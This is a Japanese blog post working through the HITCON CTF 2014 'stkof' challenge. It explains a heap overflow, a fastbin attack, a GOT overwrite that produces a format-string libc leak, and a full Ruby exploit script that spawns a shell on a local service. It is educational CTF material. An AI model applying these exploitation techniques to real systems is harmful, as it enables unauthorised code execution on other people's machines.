読者です 読者をやめる 読者になる 読者になる

Pwn De Ring

初心者がPwnを勉強していくために使っている標準出力先です。

HITCON CTF2014 stkof(pwn550)

下準備

stkof: ELF 64-bit LSB  executable
x86-64
version 1 (SYSV)
dynamically linked (uses shared libs)
for GNU/Linux 2.6.32
BuildID[sha1]=4872b087443d1e52ce720d0a4007b1920f18e7b0
stripped
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FORTIFY Fortified Fortifiable  FILE
Partial RELRO   Canary found      NX enabled    No PIE          No RPATH   No RUNPATH   Yes     0               3       stkof

64bit strippedなバイナリで,CanaryとNxが有効.

バイナリ解析結果

  • 1 ~ 4の選択肢がある
    • 1: サイズを入力してmallocで確保
    • 2: サイズと番地を入力して,その番地にサイズ分fread
    • 3: 番地を入力して,freeで解放
    • 4: 番地を入力して,そこに格納された値を引数にstrlenを実行して,長さが短ければ「//TODO」と表示,そうでなければ「...」を表示
  • 1をalloc_mem, 2をwrite_mem, 3をfree_mem,4をstrlen_memと呼ぶことにする
  • 0x602100にalloc_memした際に加算していくカウンタがある
  • alloc_memした際のヒープのアドレスは,0x602140から始まる配列に格納される
  • 2ではサイズを1で取ったサイズと比較しないので,大きなサイズを与えれば自明なヒープオーバーフローが発生する.

方針

※正直な所うまく書けなかったので,Exploitコードと対比させながら読んでいただけると幸いです.

  1. fastbins unlink attackを利用
  2. GOT overwriteでsystem("/bin/sh")を起動

fastbins unlink attackではfree済みチャンクの情報を書き換えて,次にmallocした際に返ってくるアドレスを固定するということができるので,それを用いてstrlenのGOT overwriteでsystemに変えてシェルを起動させる.しかしsystemのアドレスがわからないので,まずはstrlenをprintfに変えてFormat String Bugを生じさせlibcのアドレスリークを行う.その後オフセットを用いてsystem関数のアドレスが求まったら,strlenをsystemに変えてシェルを起動させる.

0x602100をチャンクのサイズに利用するために,alloc_memを繰り返して加算させていき,適切な値にする.その後,最後のチャンクに対してfree_memをすることで最後のチャンクをfastbinsに登録させる.

最後から2番目のチャンクに対してwrite_memを実行することで,ヒープオーバーフローをさせて,fastbinsに登録されたチャンク(=最後のチャンク)情報を上書きする.この時サイズと次のチャンクへのアドレスをうまく配置する.

サイズは最初にalloc_memで確保したのが32byteだったので,32 + prev_sizeとsizeの16byte + sizeの下位1bitを立てたい(直前のチャンクを使用中という扱いにするflag)ので+1の合計49になるようにする.

次のチャンクへのアドレスは,0x602100をサイズ扱いとしたいので,-8byteしたアドレスを配置する.

その後2回alloc_memを行うと,2回目のalloc_memの際には,mallocの返り値として,0x602108が返ってきている.write_memの書き込みの際に,raxに入力した番地が入り,mov rax,QWORD PTR [rax*8+0x602140]によってraxに格納されたアドレスが,freadの読み込みアドレスになるので,0x602108からオーバーフローさせて0x602140に上書きしたいアドレスを配置すれば,write_memを呼ぶことで任意の値に書き換えることができる.そこで0x602140にstrlenのgotを配置して,write_memで番地として0を入力すればソースは[0*8+0x602140]つまり[0x602140]になるので,printf@pltを流し込んでGOT overwriteさせることができる.

適当な領域に対して,"%p"という文字列をwrite_memで格納して,strlen_memを呼ぶことでprintf(%p)というFormat String Bugが発生させることができるので,それを用いてスタック上にある_libc_start_main+245のアドレスを手に入れる.

リークしたアドレスからオフセットを用いてlibcのsystem関数のアドレスを計算したら,strlen@gotをsystem関数のアドレスで上書きして,write_memで適当な領域に"/bin/sh\x00"を書き込み,strlen_memを呼べば上書きされているので,system("/bin/sh")が起動する.

Exploit

上記の方針で作成したexploit.rbを以下に示す.

# coding: ascii-8bit
require 'pwnlib.rb'

host = "localhost"
port = 8888

# Action 1
def alloc(size, t)
  t.sendline("1")
  t.sendline(size.to_s)
  idx = t.recv_until("\n").chomp.to_i
  t.recv_until("\n") #=> OK
  return idx
end

# Action 2
def write(idx, data, t)
  t.sendline("2")
  t.sendline(idx.to_s)
  t.sendline(data.length.to_s)
  t.send(data)
  t.recv_until("\n") #=> OK
end

# Action 3
def free(idx, t)
  t.sendline("3")
  t.sendline(idx.to_s)
  t.recv_until("\n") #=> OK
end

# Action 4
def strlen(idx, t)
  t.sendline("4")
  t.sendline(idx.to_s)
  return t.recv_until("\n").chomp
end

PwnTube.open(host, port) do |t|

  entries_counter = 0x602100

  entries = []
  0x30.times do
    entries << alloc(32, t)
    puts "allocate 0x#{entries[-1].to_s(16)}"
  end

  free(entries[-1], t)

  buf =  "A" * 32
  buf << p64(0)                   # prev_size
  buf << p64(32 + 16 + 1)         # size + flag
  buf << p64(entries_counter - 8) # fd and fd's prev_size
  write(entries[-2], buf, t)      # Overwrite

  e0 = alloc(32, t) # malloc returns 0xe058e0
  entries << e0

  # fd -> 0x6020f8
  # 0x6020f8 + 8 = 0x602100 -> 0x31 = size + flag
  # 0x6021f8 + 16= 0x602108 -> data

  e1 = alloc(32, t) # malloc returns 0x602108
  entries << e1

  strlen_got = 0x602030
  printf_plt = 0x4007a0

  buf = "A" * 56
  buf << p64(strlen_got)
  write(e1, buf, t)

  write(0, p64(printf_plt), t)

  write(entries[-1], "%41$p\n\0", t)

  leak = strlen(entries[-1], t).to_i(16)
  t.recv_until("\n")

  libc_base = leak - 245 - 0x21e50 # 0x21e50 is local libc offset
  libc_system = libc_base + 0x46590

  puts "[+] libc base   = 0x%x" % libc_base
  puts "[+] libc system = 0x%x" % libc_system

  # strlen@got overwrite libc_system
  write(0, p64(libc_system), t)

  write(entries[-1], "/bin/sh\x00", t)

  strlen(entries[-1], t)

  t.shell

end

参考文献

感想

Heap領域のテクニックはとてもおもしろいし,fastbins unlink attackはわりと理解しやすかった.
しかし,それを記事に書くのはとてもつらい.
fastbins unlink attackを理解して,それを使った問題をときたい人の参考になったら良いな&自己満足記事でした.